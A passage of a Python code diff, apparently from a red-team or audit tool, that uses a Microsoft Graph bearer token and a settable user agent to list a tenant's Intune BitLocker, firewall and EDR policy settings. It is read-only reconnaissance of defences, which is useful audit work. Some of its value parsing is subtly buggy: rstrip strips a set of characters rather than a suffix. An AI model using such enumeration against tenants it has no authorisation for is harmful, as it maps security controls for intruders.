"device_vendor_msft_bitlocker_fixeddrivesencryptiontype": "Enforce drive encryption type on fixed data drives", + "device_vendor_msft_bitlocker_fixeddrivesrecoveryoptions": "Choose how BitLocker-protected fixed drives can be recovered", + "device_vendor_msft_bitlocker_fixeddrivesrequireencryption": "Deny write access to fixed drives not protected by BitLocker", + "device_vendor_msft_bitlocker_systemdrivesencryptiontype": "Enforce drive encryption type on operating system drives", + "device_vendor_msft_bitlocker_systemdrivesrequirestartupauthentication": "Require additional authentication at startup", + "device_vendor_msft_bitlocker_systemdrivesminimumpinlength": "Configure minimum PIN length for startup", + "device_vendor_msft_bitlocker_systemdrivesenhancedpin": "Allow enhanced PINs for startup", + "device_vendor_msft_bitlocker_systemdrivesdisallowstandarduserscanchangepin": "Disallow standard users from changing the PIN or password", + "device_vendor_msft_bitlocker_systemdrivesenableprebootpinexceptionondecapabledevice": "Allow devices compliant with InstantGo or HSTI to opt out of pre-boot PIN", + "device_vendor_msft_bitlocker_systemdrivesenableprebootinputprotectorsonslates": "Enable use of BitLocker authentication requiring preboot keyboard input on slates", + "device_vendor_msft_bitlocker_systemdrivesrecoveryoptions": "Choose how BitLocker-protected operating system drives can be recovered", + "device_vendor_msft_bitlocker_systemdrivesrecoverymessage": "Configure pre-boot recovery message and URL", + "device_vendor_msft_bitlocker_removabledrivesconfigurebde": "Control use of BitLocker on removable drives", + "device_vendor_msft_bitlocker_removabledrivesrequireencryption": "Deny write access to removable drives not protected by BitLocker", + "device_vendor_msft_bitlocker_encryptionmethodbydrivetype": "Choose drive encryption method and cipher strength (Windows 10 [Version 1511] and later)", + "device_vendor_msft_bitlocker_identificationfield": "Provide the unique identifiers for your organization", + "device_vendor_msft_bitlocker_requiredeviceencryption": "Require Device Encryption", + "device_vendor_msft_bitlocker_allowwarningforotherdiskencryption": "Allow Standard User Encryption", + "device_vendor_msft_bitlocker_configurerecoverypasswordrotation": "Configure Recovery Password Rotation" + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: + value_field = setting['settingInstance']['choiceSettingValue'].get('value') + if value_field: + cleaned_value = value_field.rstrip('_01') + if cleaned_value in settings_map: + setting_text = settings_map[cleaned_value] + if value_field.endswith('_1'): + print(f"ENABLED : {setting_text}") + elif value_field.endswith('_0'): + print(f"DISABLED : {setting_text}") + else: + print(f"{setting_text} - {value_field}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-firewallconfigpolicyrules - firewall config policy +def display_firewallconfigpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for display-firewallconfigpolicyrules command") + return + + print_yellow("[*] Display-FirewallConfigPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "vendor_msft_firewall_mdmstore_global_crlcheck": { + "displayName": "Certificate revocation list verification", + "options": { + "vendor_msft_firewall_mdmstore_global_crlcheck_0": "None - Disables CRL checking", + "vendor_msft_firewall_mdmstore_global_crlcheck_1": "Attempt - checking is attempted and that certificate validation fails only if the certificate is revoked", + "vendor_msft_firewall_mdmstore_global_crlcheck_2": "Require - checking is required and that certificate validation fails if any error is encountered during CRL processing", + } + }, + "vendor_msft_firewall_mdmstore_global_disablestatefulftp": { + "displayName": "Disable Stateful Ftp", + "options": { + "vendor_msft_firewall_mdmstore_global_disablestatefulftp_false": "Stateful FTP enabled", + "vendor_msft_firewall_mdmstore_global_disablestatefulftp_true": "Stateful FTP disabled", + } + }, + "vendor_msft_firewall_mdmstore_global_enablepacketqueue": { + "displayName": "Enable Packet Queue", + "options": { + "vendor_msft_firewall_mdmstore_global_enablepacketqueue_0": "Disabled - Indicates that all queuing is to be disabled", + "vendor_msft_firewall_mdmstore_global_enablepacketqueue_1": "Queue Inbound - inbound encrypted packets are to be queued", + "vendor_msft_firewall_mdmstore_global_enablepacketqueue_2": "Queue Outbound - packets are to be queued after decryption is performed for forwarding", + } + }, + "vendor_msft_firewall_mdmstore_global_ipsecexempt": { + "displayName": "IPsec Exceptions", + "options": { + "vendor_msft_firewall_mdmstore_global_ipsecexempt_0": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NONE: No IPsec exemptions.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_1": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NEIGHBOR_DISC: Exempt neighbor discover IPv6 ICMP type-codes from IPsec.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_2": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ICMP: Exempt ICMP from IPsec.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_4": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ROUTER_DISC: Exempt router discover IPv6 ICMP type-codes from IPsec.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_8": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_DHCP: Exempt both IPv4 and IPv6 DHCP traffic from IPsec.", + } + }, + "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm": { + "displayName": "Opportunistically Match Auth Set Per KM", + "options": { + "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_false": "FALSE", + "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_global_presharedkeyencoding": { + "displayName": "Preshared Key Encoding", + "options": { + "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_0": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_NONE: Preshared key is not encoded. Instead, it is kept in its wide-character format. This symbolic constant has a value of 0.", + "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_1": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_UTF_8: Encode the preshared key using UTF-8. This symbolic constant has a value of 1.", + } + }, + "vendor_msft_firewall_mdmstore_global_saidletime": { + "displayName": "Security association idle time", + "options": {} + }, + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge": { + "displayName": "Allow Local Ipsec Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge": { + "displayName": "Auth Apps Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets": { + "displayName": "Enable Log Dropped Packets", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", + "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast": { + "displayName": "Disable Unicast Responses To Multicast Broadcast", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", + "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_shielded": { + "displayName": "Shielded", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_shielded_false": "Shielding Off", + "vendor_msft_firewall_mdmstore_domainprofile_shielded_true": "Shielding On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge": { + "displayName": "Allow Local Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction": { + "displayName": "Default Outbound Action", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_0": "Allow Outbound By Default", + "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_1": "Block Outbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules": { + "displayName": "Enable Log Ignored Rules", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", + "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications": { + "displayName": "Disable Inbound Notifications", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_false": "Firewall May Display Notification", + "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections": { + "displayName": "Enable Log Success Connections", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", + "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_logfilepath": { + "displayName": "Log File Path", + "options": {} + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall": { + "displayName": "Enable Domain Network Firewall", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_false": "Disable Firewall", + "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_true": "Enable Firewall", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_logmaxfilesize": { + "displayName": "Log Max File Size", + "options": {} + }, + "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge": { + "displayName": "Global Ports Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction": { + "displayName": "Default Inbound Action for Domain Profile", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_0": "Allow Inbound By Default", + "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_1": "Block Inbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption": { + "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode": { + "displayName": "Disable Stealth Mode", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_false": "Use Stealth Mode", + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_true": "Disable Stealth Mode", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge": { + "displayName": "Allow Local Ipsec Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge": { + "displayName": "Auth Apps Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall": { + "displayName": "Enable Private Network Firewall", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_false": "Disable Firewall", + "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_true": "Enable Firewall", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_logmaxfilesize": { + "displayName": "Log Max File Size", + "options": {} + }, + "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge": { + "displayName": "Global Ports Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction": { + "displayName": "Default Inbound Action for Private Profile", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_0": "Allow Inbound By Default", + "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_1": "Block Inbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast": { + "displayName": "Disable Unicast Responses To Multicast Broadcast", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", + "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_logfilepath": { + "displayName": "Log File Path", + "options": {} + }, + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode": { + "displayName": "Disable Stealth Mode", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_false": "Use Stealth Mode", + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_true": "Disable Stealth Mode", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets": { + "displayName": "Enable Log Dropped Packets", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", + "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption": { + "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications": { + "displayName": "Disable Inbound Notifications", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_false": "Firewall May Display Notification", + "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections": { + "displayName": "Enable Log Success Connections", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", + "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_shielded": { + "displayName": "Shielded", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_shielded_false": "Shielding Off", + "vendor_msft_firewall_mdmstore_privateprofile_shielded_true": "Shielding On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge": { + "displayName": "Allow Local Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction": { + "displayName": "Default Outbound Action", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_0": "Allow Outbound By Default", + "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_1": "Block Outbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules": { + "displayName": "Enable Log Ignored Rules", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", + "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast": { + "displayName": "Disable Unicast Responses To Multicast Broadcast", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", + "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge": { + "displayName": "Global Ports Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption": { + "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_shielded": { + "displayName": "Shielded", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_shielded_false": "Shielding Off", + "vendor_msft_firewall_mdmstore_publicprofile_shielded_true": "Shielding On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge": { + "displayName": "Allow Local Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction": { + "displayName": "Default Outbound Action", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_0": "Allow Outbound By Default", + "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_1": "Block Outbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules": { + "displayName": "Enable Log Ignored Rules", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", + "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications": { + "displayName": "Disable Inbound Notifications", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_false": "Firewall May Display Notification", + "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections": { + "displayName": "Enable Log Success Connections", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", + "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge": { + "displayName": "Allow Local Ipsec Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge": { + "displayName": "Auth Apps Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_logfilepath": { + "displayName": "Log File Path", + "options": {} + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall": { + "displayName": "Enable Public Network Firewall", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_false": "Disable Firewall", + "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_true": "Enable Firewall", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_logmaxfilesize": { + "displayName": "Log Max File Size", + "options": {} + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets": { + "displayName": "Enable Log Dropped Packets", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", + "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction": { + "displayName": "Default Inbound Action for Public Profile", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_0": "Allow Inbound By Default", + "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_1": "Block Inbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode": { + "displayName": "Disable Stealth Mode", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_false": "Use Stealth Mode", + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_true": "Disable Stealth Mode", + } + }, + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection": { + "displayName": "Object Access Audit Filtering Platform Connection", + "options": { + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_0": "Off/None", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_1": "Success", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_2": "Failure", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_3": "Success+Failure", + } + }, + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop": { + "displayName": "Object Access Audit Filtering Platform Packet Drop", + "options": { + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_0": "Off/None", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_1": "Success", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_2": "Failure", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_3": "Success+Failure", + } + }, + } + + def process_setting(setting, indent=""): + setting_instance = setting.get('settingInstance', {}) + setting_id = setting_instance.get('settingDefinitionId', '') + + if setting_id in settings_map: + display_name = settings_map[setting_id]['displayName'] + print(f"{indent}{display_name} : ", end="") + else: + print(f"{indent}Setting: {setting_id} : ", end="") + if '@odata.type' in setting_instance: + setting_type = setting_instance['@odata.type'].split('.')[-1] + + if setting_type == 'deviceManagementConfigurationChoiceSettingInstance': + process_choice_setting(setting_instance, indent) + elif setting_type == 'deviceManagementConfigurationSimpleSettingInstance': + process_simple_setting(setting_instance, indent) + elif setting_type == 'deviceManagementConfigurationChoiceSettingCollectionInstance': + process_choice_collection_setting(setting_instance, indent) + else: + print(f"Unsupported setting type: {setting_type}") + + def process_choice_setting(setting_instance, indent): + choice_value = setting_instance.get('choiceSettingValue', {}) + value = choice_value.get('value', '') + + setting_id = setting_instance.get('settingDefinitionId', '') + if setting_id in settings_map and value in settings_map[setting_id]['options']: + print(f"{settings_map[setting_id]['options'][value]}") + else: + print(f"{value}") + + for child in choice_value.get('children', []): + process_setting({'settingInstance': child}, indent + " ") + + def process_simple_setting(setting_instance, indent): + simple_value = setting_instance.get('simpleSettingValue', {}) + value = simple_value.get('value', '') + print(f"{value}") + + def process_choice_collection_setting(setting_instance, indent): + choice_collection = setting_instance.get('choiceSettingCollectionValue', []) + values = [] + for choice in choice_collection: + value = choice.get('value', '') + + setting_id = setting_instance.get('settingDefinitionId', '') + if setting_id in settings_map and value in settings_map[setting_id]['options']: + values.append(settings_map[setting_id]['options'][value]) + else: + values.append(value) + print(", ".join(values)) + + def print_profile_settings(response_json, profile_type): + print(f"\n{profile_type} Profile Settings") + print("-" * 80) + for setting in response_json.get('value', []): + setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') + if profile_type.lower() in setting_id.lower(): + process_setting(setting) + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + + print("\nGlobal Settings") + print("-" * 80) + for setting in response_json.get('value', []): + setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') + if 'global' in setting_id.lower(): + process_setting(setting) + + print("\nAudit Settings") + print("-" * 80) + for setting in response_json.get('value', []): + setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') + if 'audit' in setting_id.lower(): + process_setting(setting) + + print_profile_settings(response_json, "Domain") + print_profile_settings(response_json, "Private") + print_profile_settings(response_json, "Public") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-firewallrulepolicyrules - actual firewall rules +def display_firewallrulepolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-FirewallRulePolicyRules command") + return + + print_yellow("[*] Display-FirewallRulePolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting and setting['settingInstance']['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationGroupSettingCollectionInstance": + for group in setting['settingInstance'].get('groupSettingCollectionValue', []): + rule_name = "" + rule_action = "" + rule_direction = "" + rule_enabled = "" + rule_local_ports = "" + rule_remote_ports = "" + rule_description = "" + rule_interfaces = [] + for child in group.get('children', []): + setting_def_id = child['settingDefinitionId'] + if setting_def_id.endswith("_name"): + rule_name = child['simpleSettingValue']['value'] + elif setting_def_id.endswith("_action_type"): + rule_action = "ALLOW" if child['choiceSettingValue']['value'].endswith("_0") else "BLOCK" + elif setting_def_id.endswith("_direction"): + rule_direction = "INBOUND" if child['choiceSettingValue']['value'].endswith("_in") else "OUTBOUND" + elif setting_def_id.endswith("_enabled"): + rule_enabled = "ENABLED" if child['choiceSettingValue']['value'].endswith("_1") else "DISABLED" + elif setting_def_id.endswith("_localportranges"): + rule_local_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) + elif setting_def_id.endswith("_remoteportranges"): + rule_remote_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) + elif setting_def_id.endswith("_description"): + rule_description = child['simpleSettingValue']['value'] + elif setting_def_id.endswith("_interfacetypes"): + rule_interfaces = [iface['value'].split('_')[-1] for iface in child['choiceSettingCollectionValue']] + rule_interfaces = ", ".join(rule_interfaces) + print(f"Rule Name : {rule_name}") + print(f"Action : {rule_action}") + print(f"Direction : {rule_direction}") + print(f"Enabled : {rule_enabled}") + print(f"Local Ports : {rule_local_ports}") + print(f"Remote Ports : {rule_remote_ports}") + print(f"Description : {rule_description}") + print(f"Interfaces : {rule_interfaces}") + print() + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-edrpolicyrules +def display_edrpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-EDRPolicyRules command") + return + + print_yellow("[*] Display-EDRPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", + "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: + value_field = setting['settingInstance']['choiceSettingValue'].get('value') + if value_field: + cleaned_value = value_field.rstrip('_01onboard') + if cleaned_value in settings_map: + setting_text = settings_map[cleaned_value] + if value_field.endswith('_1'): + print(f"ENABLED : {setting_text}") + elif value_field.endswith('_0'): + print(f"DISABLED : {setting_text}") + elif value_field.endswith('_onboard'): + print(f"ONBOARD 